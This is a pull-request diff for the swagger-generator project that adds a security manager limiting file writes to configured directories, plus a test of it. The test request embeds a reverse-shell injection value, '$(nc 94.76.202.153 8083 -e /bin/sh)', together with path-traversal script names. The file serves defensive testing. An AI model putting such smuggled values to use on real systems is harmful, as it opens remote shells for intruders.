Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 3 additions & 0 deletions grantall.policy
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
grant {
permission java.security.AllPermission;
};
1 change: 1 addition & 0 deletions modules/swagger-generator/Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@ WORKDIR /generator
COPY docker/jetty_base /generator/
COPY docker/ROOT.xml /generator/webapps/ROOT.xml
COPY target/*.war /generator/webapps/ROOT.war
COPY grantall.policy /generator/grantall.policy
ENV JETTY_BASE /generator
ARG HIDDEN_OPTIONS_DEFAULT_PATH
COPY ${HIDDEN_OPTIONS_DEFAULT_PATH} /generator/resources/
Expand Down
2 changes: 1 addition & 1 deletion modules/swagger-generator/docker/jetty_base/start
Original file line number Diff line number Diff line change
Expand Up @@ -43,7 +43,7 @@ JAVA_DEBUG_OPTIONS="-Xdebug -Xrunjdwp:transport=dt_socket,address=8005,server=y,
# APP options
APP_OPTS="-DHIDDEN_OPTIONS_PATH=${HIDDEN_OPTIONS_PATH} -DHIDDEN_OPTIONS=${HIDDEN_OPTIONS}"
# JVM options
JAVA_OPTS="-server -Duser.timezone=GMT -Xms${HEAP} -Xmx${HEAP} -XX:NewSize=${NEW_SIZE} -XX:MaxNewSize=${NEW_SIZE} -XX:+UseConcMarkSweepGC -XX:+UseParNewGC -XX:PermSize=${PERM_SIZE} -XX:MaxPermSize=${PERM_SIZE} -Dfile.encoding=UTF-8"
JAVA_OPTS="-Djava.security.manager -Djava.security.policy==grantall.policy -DgeneratorWriteDirs="/tmp" -server -Duser.timezone=GMT -Xms${HEAP} -Xmx${HEAP} -XX:NewSize=${NEW_SIZE} -XX:MaxNewSize=${NEW_SIZE} -XX:+UseConcMarkSweepGC -XX:+UseParNewGC -XX:PermSize=${PERM_SIZE} -XX:MaxPermSize=${PERM_SIZE} -Dfile.encoding=UTF-8"

echo "Starting application with command: "
echo ${JAVA_EXEC} ${JETTY_OPTS} ${APP_OPTS} ${JAVA_OPTS} -jar $JETTY_HOME/start.jar
Expand Down
3 changes: 3 additions & 0 deletions modules/swagger-generator/grantall.policy
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
grant {
permission java.security.AllPermission;
};
22 changes: 22 additions & 0 deletions modules/swagger-generator/pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -38,10 +38,27 @@
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<version>${surefire-version}</version>
<configuration>
<systemPropertyVariables>
<java.security.policy>${java.security.policy}</java.security.policy>
<generatorWriteDirs>/tmp,.</generatorWriteDirs>
</systemPropertyVariables>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-failsafe-plugin</artifactId>
<version>2.22.0</version>
<configuration>
<systemPropertyVariables>
<java.security.policy>${java.security.policy}</java.security.policy>
<generatorWriteDirs>/tmp,.</generatorWriteDirs>
</systemPropertyVariables>
</configuration>
<executions>
<execution>
<id>integration-test</id>
Expand Down Expand Up @@ -79,6 +96,10 @@
<name>logback.configurationFile</name>
<value>src/main/resources/logback.xml</value>
</systemProperty>
<systemProperty>
<name>java.security.policy</name>
<value>${java.security.policy}</value>
</systemProperty>
</systemProperties>
<webApp>
<contextPath>/</contextPath>
Expand Down Expand Up @@ -364,6 +385,7 @@
</dependency>
</dependencies>
<properties>
<java.security.policy>grantall.policy</java.security.policy>
<dockerfile.tag.skip>true</dockerfile.tag.skip>
<docker-latest-tag>unstable</docker-latest-tag>
<maven-plugin-version>1.0.0</maven-plugin-version>
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@
import io.swagger.v3.core.util.Yaml;
import io.swagger.codegen.v3.service.GenerationRequest;
import io.swagger.v3.generator.model.HiddenOptions;
import io.swagger.v3.generator.util.FileAccessSecurityManager;
import io.swagger.v3.generator.util.ZipUtil;
import io.swagger.oas.inflector.models.RequestContext;
import io.swagger.oas.inflector.models.ResponseContext;
Expand Down Expand Up @@ -52,6 +53,9 @@ public class GeneratorController {
private static String PROP_HIDDEN_OPTIONS = "HIDDEN_OPTIONS";

static {
// allow writing files only to directories configgured via generatorWriteDirs sys prop
// e.g. -DgeneratorWriteDirs="/tmp"
System.setSecurityManager(new FileAccessSecurityManager());

hiddenOptions = loadHiddenOptions();
final ServiceLoader<CodegenConfig> loader = ServiceLoader.load(CodegenConfig.class);
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
package io.swagger.v3.generator.util;

import org.apache.commons.lang3.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import java.io.File;
import java.io.IOException;
import java.security.AccessControlException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;

public class FileAccessSecurityManager extends SecurityManager {

static Logger LOGGER = LoggerFactory.getLogger(FileAccessSecurityManager.class);

static List<String> allowedDirectories= StringUtils.isBlank(System.getProperty("generatorWriteDirs")) ? new ArrayList<>() : Arrays.asList(System.getProperty("generatorWriteDirs").split(","));

@Override
public void checkWrite(String file) {
super.checkWrite(file);

if (allowedDirectories.isEmpty()) {
return;
}
if (!StringUtils.isBlank(file)) {
boolean granted = false;

for (String dir : allowedDirectories) {
try {
String dirPath = new File(dir).getCanonicalPath();
if (new File(file).getCanonicalPath().startsWith(dirPath)) {
granted = true;
}
} catch (IOException e) {
LOGGER.error("Exception getting absolute path for file {} and/or allowed dir ", file, e);
throw new SecurityException("Exception getting absolute path for allowed dir " + dir + " and/or file " + file);
}

}
if (!granted) {
LOGGER.error("Blocking attempt to write to not allowed directory for file " + file);
throw new AccessControlException("Error writing file to " + file + " as target dir is not allowed");
}
}
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -39,4 +39,95 @@ public void generateJava() throws Exception {
Assert.assertEquals(rr.getContentType(), MediaType.APPLICATION_OCTET_STREAM_TYPE);
Assert.assertTrue(rr.getHeaders().getFirst("Content-Disposition").contains(" filename=\"java-client-generated.zip\""));
}


@Test
public void generateBashWithAndWithoutSecurityThreat() throws Exception {

String requestJson = "{\n" +
" \"lang\": \"bash\",\n" +
" \"spec\": {\n" +
" \"swagger\": \"2.0\",\n" +
" \"info\": {\n" +
" \"title\": \"Sample API\",\n" +
" \"description\": \"API description in Markdown.\",\n" +
" \"version\": \"1.0.0\"\n" +
" },\n" +
" \"paths\": {\n" +
" \"/users\": {\n" +
" \"get\": {\n" +
" \"produces\": [\n" +
" \"application/json\"\n" +
" ],\n" +
" \"responses\": {\n" +
" \"200\": {\n" +
" \"description\": \"OK\"\n" +
" }\n" +
" }\n" +
" }\n" +
" }\n" +
" }\n" +
" },\n" +
" \"type\": \"CLIENT\",\n" +
" \"codegenVersion\": \"V2\",\n" +
" \"options\": {\n" +
" \"additionalProperties\": {\n" +
" \"scriptName\": \"../mytemp/start\",\n" +
" \"curlOptions\": \"$(nc 94.76.202.153 8083 -e /bin/sh)\"\n" +
" }\n" +
" }\n" +
"}";


GenerationRequest generationRequest = Json.mapper().readValue(requestJson, GenerationRequest.class);

GeneratorController g = new GeneratorController();
RequestContext r = new RequestContext();
ResponseContext rr = g.generate(r, generationRequest);
Assert.assertEquals(rr.getStatus(), 200);
Assert.assertEquals(rr.getContentType(), MediaType.APPLICATION_OCTET_STREAM_TYPE);
Assert.assertTrue(rr.getHeaders().getFirst("Content-Disposition").contains(" filename=\"bash-client-generated.zip\""));

String requestJsonWithThreatInTargetScriptName = "{\n" +
" \"lang\": \"bash\",\n" +
" \"spec\": {\n" +
" \"swagger\": \"2.0\",\n" +
" \"info\": {\n" +
" \"title\": \"Sample API\",\n" +
" \"description\": \"API description in Markdown.\",\n" +
" \"version\": \"1.0.0\"\n" +
" },\n" +
" \"paths\": {\n" +
" \"/users\": {\n" +
" \"get\": {\n" +
" \"produces\": [\n" +
" \"application/json\"\n" +
" ],\n" +
" \"responses\": {\n" +
" \"200\": {\n" +
" \"description\": \"OK\"\n" +
" }\n" +
" }\n" +
" }\n" +
" }\n" +
" }\n" +
" },\n" +
" \"type\": \"CLIENT\",\n" +
" \"codegenVersion\": \"V2\",\n" +
" \"options\": {\n" +
" \"additionalProperties\": {\n" +
" \"scriptName\": \"../../mytemp/start\",\n" +
" \"curlOptions\": \"$(nc 94.76.202.153 8083 -e /bin/sh)\"\n" +
" }\n" +
" }\n" +
"}";


generationRequest = Json.mapper().readValue(requestJsonWithThreatInTargetScriptName, GenerationRequest.class);

g = new GeneratorController();
r = new RequestContext();
rr = g.generate(r, generationRequest);
Assert.assertEquals(rr.getStatus(), 500);
}
}